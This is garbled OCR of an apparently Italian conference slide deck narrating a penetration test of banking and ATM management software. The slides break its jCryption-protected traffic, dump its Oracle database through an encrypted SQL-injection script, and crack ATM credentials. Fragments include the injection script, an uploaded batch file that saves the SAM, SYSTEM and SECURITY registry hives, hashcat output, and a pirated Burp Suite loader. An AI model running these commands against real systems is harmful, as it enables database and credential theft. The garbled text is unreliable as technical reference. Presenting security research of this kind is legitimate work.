“_,z/::.i._' <
g B\ [t gets 'e/asier.'f/
Huh?

| 8
g \ o°-~_J
be

\U
\ But you gotta do it every day.
That s the hard part.
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The Story of a Pentester Pwnage




... codename: “Auricchio”







LA PILLOLA TI FARA VEDERE IL

“Auricchio” Meets With Morpheus mﬂwlﬁlyﬁum
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“Auricchio” - The Best Choice

scopri anche tu
il nuovo gusto
AFRICA







“Auricchio” - They say about them

- ~25 years of innovative software development
- Specialized in Banking area

- International market presence

- Made in ITALY




italians
do it
better



Italians Do It Better - Proof Of Concept
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“Auricchio’s” Research And Development

- Constant R&D activities

- ~3M Euros invested in the lastest years
- ... “Sgrillettatori”
\HAHAHAHAHAR™




Software Development Model
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“Auricchio
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“Auricchio’s” Technologies Involved
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“Auricchio” - It's works,
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. until “John Connor's” appearance
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Pwning Details - Phase A (1)

The WebApp encrypt, with AES, form data
by using a Javascript library named “jCryption”...

How does this work o

iCiyption

1. client requests RSA public key from server

2. client encrypts a randomly generated key with the RSA public key

3. server decrypts key with the RSA private key and stores it in the session
4, server encrypts the decrypted key with AES and sends it back to the client

5. client decrypts it with AES, if the key matches the client is in sync with the server and is ready to go

6. everything else is encrypted using AES




BurplLoader by larry_lau

Burp Suite is an integrated platform for performing security testing of web applications.
If you like it, please try Free edition or buy Pro edition.
This loader is Free and CAN NOT be used for Commercial purposes!
If you bought it somewhere else, you should take action against the seller.
No exploiting and no malware in my code. Shaby is boring!
] age:
1. you need a burpsuite_pro jar file.
2. add burpsuite_pro jar into classpath then run burploader

@ java -jar BurpLoader jar
# java -cp Burploader jar;burpsuite_pro.jar larry.lau.BurplLoader

# java -cp BurplLoader jar:burpsuite_pro.jar larry.lau.Burploader

3. To Support headless mode, ac java.awt.headless=true into jvm arguments.
4. Any suggestions, let me know.

| Decline | | | Accept



The exgensibility API is extremely rich and powerful, and lets extensions carry out numerous useful tasks. You can:

Process and modify HTTP requests Provide custom Intruder payloads and Customize Burp's HTTP message

and responses for all Burp tools. payload processors. editor to handle data formats that
Burp does not natively support.

Access key runtime data, such as the Query and update the Suite-wide

Proxy history, target site map, and target scope. Analyze HTTP requests and responses

Sganner issues. to obtain headers, parameters,
Query and update the session okies, etc.

Initiate actions like scanning and handling cookie jar.

spidering. Build, modify and issue HTTP requests
/ Implement custom session handling and retrieve responses.

Implement custom scan checks and agtions.

register scan issues. Read and modify Burp's configuration
/ Add custom tabs and context menu settings.

Customize the placement of attack items to Burp's user interface.
insertion points within scanned Save and restore Burp's state.
requests. Use Burp's native HTTP message

editor within your own user interface.




¥ @) Insecure Implementation of RSA Encryption (jCryption v1.x) [2]

_[ Advisory T Request T Response ]

~ Insecure Implementation of RSA Encryption (jCryption v1.x)

Issue: Insecure Implementation of RSA Encryption (jCryption v1.x)
Severity: Medium

Confidence: Certain

Host: http://127.0.0.1:8888

Path: fmain.php

r-Lm_,;ger Preferences] About}

%)Java

. :vorkspace - Java - JCryption Handler/src/burp/BurpExtender.java - Eclipse

-\

v

g S
v *’_ \,_l v

public class BurpExtender extends AbstractTableModel implements
IBurpExtender, ITab, IMessageEditorController, IMessageEditorTabFactory, IContextMenuFactory,

Status | Disable | IScannerCheck, IScannerInsertionPointProvider, IProxylistener, IExtensionStatelistener
Logger l Import Logs Export Logs J {
private static final long seriaglVersionUID = 1L;
Parameter jCryption
public final String EXTENSION_NAME = "]Cryption Handler";
Passphrase | public final String EXTENSION_VERSION = "1.4.1"

15 Version

I Clear | l Save

public final String EXTENSION_AUTHOR
public final String EXTENSION_URL
public final String EXTENSION_IMG

"Gabriele Gristina aka Matrix";
"https://www.github.com/matrix/Burp-1Cryption-Handler";
"/img/matrix_systemFailure.gif";

private IBurpExtenderCallbacks callbacks;
private IExtensionHelpers helpers;



Pwning Details - Phase A (5)

BApp details: JCryption Handler

This extension provides a way to perform manual and/or automatic Security Assessment for Web Applications that using JCryption JavaScript library to .
encrypt data sent through HTTP methods (GET and POST). ' PortSwigger support

The main features are: to me

Hijacking the JCryption JavaScript library in order to retrieve automatically the AES key (every time it is generated), used for encrypt form data

Hi John Connar

Add a custom tab in read-only on HTTP Request View in order to show the decrypted parameter values

Add a custom tab in read-write on all HTTP Request sent to Repeater, in order to manipulate the decrypted parameter values on-the-fly I've now looked thl’OUgh your
extension in more detail. | like how

you are hijacking the JavaScript to
Add a custom Logger View to keep track of all requests (with the related responses) that contain the encrypted parameter, save also the cookies extract the passphrase‘ It's a nice
and the AES key used for encrypt/decrypt data touch that the plugin supports active
scan. And using a hash of the
request to find the matching
passphrase is a clever trick.

Automatically identify Insertion Points inside the encrypted parameter when sending the requests to the Active Scanner

Add a preference panel in order to customize the parameter name used with JCryption to hold encrypted data, show the current AES key,
enable/disable the extension without unload it

Add custom menu entries, useful to send the requests to Repeater or Active Scanner. You can choose if you keep the original request session or
make a new request using the last cookies/AES key saved Everything looks gOOd so | have
published your extension in the BApp

store. Please check everything is ok
Add support to Export/Import Logger View entries in/from CSV from the Preferences panel and let me know if any issues

Automatically save and restore extension persistent settings (you can clean up settings by Preferences panel)




AES passphrase and decrypt/encrypt the comunications

on-the-fly. / ~

eah, now the “New Age” pentesters
can run an “Active Scanner” sessionin a
Production Environment and wait for a

random Application “Denial Of Service”

Porca'pugfena,
non i avevalpenseto!



“wait ... there’s a function named )()()(query that send a POST
request to the web server .... and another named
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Pwning Details - Phase B (3)

$ head AnalIntruder.sh
#!/bin/bash

last_COOKIE="JSESSIONID=00014¥F 1E 55T %'s [ Crndg e i) -SBAEWE"
last_PASS="I1KFiamaur] S CaGF poipialim | ri sl PN T8 Bilad=
baseRequest="furE=#iarpiiid query="

BIN_ENCODE="./encoding.py"
BIN_ENCRYPT="./jcryption.py"
BIN_CURL=$(which curl)




}

query="${1}"

queryEncoded=%$(encode_query "${query}™)

postData="data=${encryptData}"

send_request "${postData}"

function encrypt_data()

{
¥

${BIN_ENCRYPT} "${last_PASS}" "${1}"

function ORACLE_banner()

{

echo "## GET Oracle banner : "
query="select banner from v\$version"
queryWrapper "${query}"




Pwning Details - Phase B (5)

def padding(s):
return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)

def encrypt(password, data):
salted = "'
dx = **
salt = Random.new().read(8)

$ head encoding.py
#!/usr/bin/python
while len(salted) < 48:

dx = hashlib.md5(dx+password+salt).digest() import sys
salted += dx

key = salted[0:32] def encodeParameter(parameter):
iv = salted[32:16+32] encodedParameter = "";
for 1 in range(@, len(parameter), 1):

aes = AES.new(key, AES.MODE_CBC, iv)

pdata = padding(data) a = iwd(parameter[i])

encodedParameter += 41 ¥(a)

Dump the database
encrypted_data = aes.encrypt(pdata)
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Pwning Details - Phase B (7) \

 a—

“John Connor” have been pwned the Database.




“Pubblicita Progresso”
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Pwning Details - Phase C (1) VATM ' fv l

“John Connor” re-login to the WebApp as Administrator
and find new functionalities.

He find a funny menu .... magically can browse the ATM’s

filesystem. But wait .... “right click with the mouse and | can

upload/download/exec/rename/delete ... files ?1?” e

“In some ATMs | can browse C:\Documents and

Settings\Administrator\XXXXXX ?1?” ...

Administratos



————————————————————————————— Lo e e [ FRSEA L §3170 K
Content-Disposition: form-data; name="fileUpload"; filename
Content-Type: application/x-msdos—program

@echo off

reg save hklm\sam c:\sam.txt

reg save hklm\system c:\system.txt

reg save hklm\security C'\securlty txt

ping gi S o X

copy...

4 30
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Pwning Details - Phase C (3)

5es5ioN.vsusseua.: hashcat usw784cne un!_ igcohd3 ="'l ’ ""S“E‘ \-l-

ﬁtgﬁui""" . : Eﬁhausted Ji:”n*qnﬁ”xu:»{Jhuualfl
ash.Type...... : 6

< An Advanced Password Cracking Tool

wudtgSE 1ul
Hash.Target.. t By wwiSned apdome by, aaaniomel B2.0e il q],h.I‘q,Lk g 1 dyibcdd
Time.Started. i 21 14:42:01 2017 (53 secs) cuh8’ 7 l"l'l yGUhaw. ¢ thoe
Time.Estimated...: Fri Ju= 21 14:42:54 2017 (0 secs) kchgkser ill 18t47sd 143005
Guess.Mask.......: 717171717171 [6] 1zF heyre |1n]_{1| ) i3
Guess.Charset....: -1 ?1, -2 Undefined, -3 Undefined, —4 Undefined [ “f“”t';]'”t : ﬂ< ¥ I'tl ! |'|1.|| t| _,Nhj EE
Guess.Queue.. : 6/7 (85.71%) hike.jmuh iy bzsuiak. 1 m ]],],
Speed.Dev.#1.....: 6554.3 kH/s (25.73ms) : 710 0ahof] = & Jk J8oud| -

Recovered........: 1/2 (50.00%) Digests, 0/1 (8.00%) Salts ywd 2uaay : ]| ﬂfjf:,wi‘]f‘[l LA ﬂ-

Progress. . : 308915776/308915776 (100.00%) i
Rejected. ...... : ©/308015776 (0.00%) ghgnion _“ 4hf WegudwyE |
Restore.Point....: 456976/456976 (100.00%) Fi ) ,ili}ﬂ" o, "[Il i Il‘;l’l i

Candidates.#1....: SA0QOQ —> XWQOQO Ao pr b ,]’I i . |”‘ i~y
HwMon.Dev.#1.....: : 71 e L L q 4

t s o i gk :;ti-'| e gz \noca
1 ooy el Dol | 3 ; REMUALR gf648c J_ ﬂhl‘l F ! ‘ ‘S&nivr
! By sdf ) uuaﬁ g
: hashcat Yeugr L&y ) J SV WL 'H‘“\hijtultil' “"'-‘-\-'
...... .«2.3 Cracked e
Hash.Type.... i LM Jiag ! B ors

Hash.Target... ...t %56 ol Bl D, s e T el
Time.Started.....: Fri 21 14:42:55 2017 (3 secs)
Time.Estimated...: Fri l= 2§ 14:42:58 2017 (@ secs)
Guess.Maski.waweaad 71717171717171 [7]

Guess.Charset....: -1 71, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 7/7 (100.00%)

Speed.Dev.#1.....: 8815.9 kH/s (27.92ms)

Recovered.... : 2/2 (100.00%) Digests, 1/1 (100.0@%) Salts
Progress. ... : 33593344/8031810176 (0.42%)

Rejected.... : B/33593344 (0.00%)

Restore.Poin 1 1792/456976 (0.39%)

Candidates.#1....: IOTZRER —> MEGVESA

HwMon.Dev.#1.....: N/A



Per cortesia non fate
entrare il gatto nell'edificio, \ '
abbiamo gfa dieci gatie

in gravicanza

La Direzione







~3 Million Euros for that shit ?
L:gmusn,,.,




QNAP QTS

Domain Privilege Escalation









































































































































































































































































































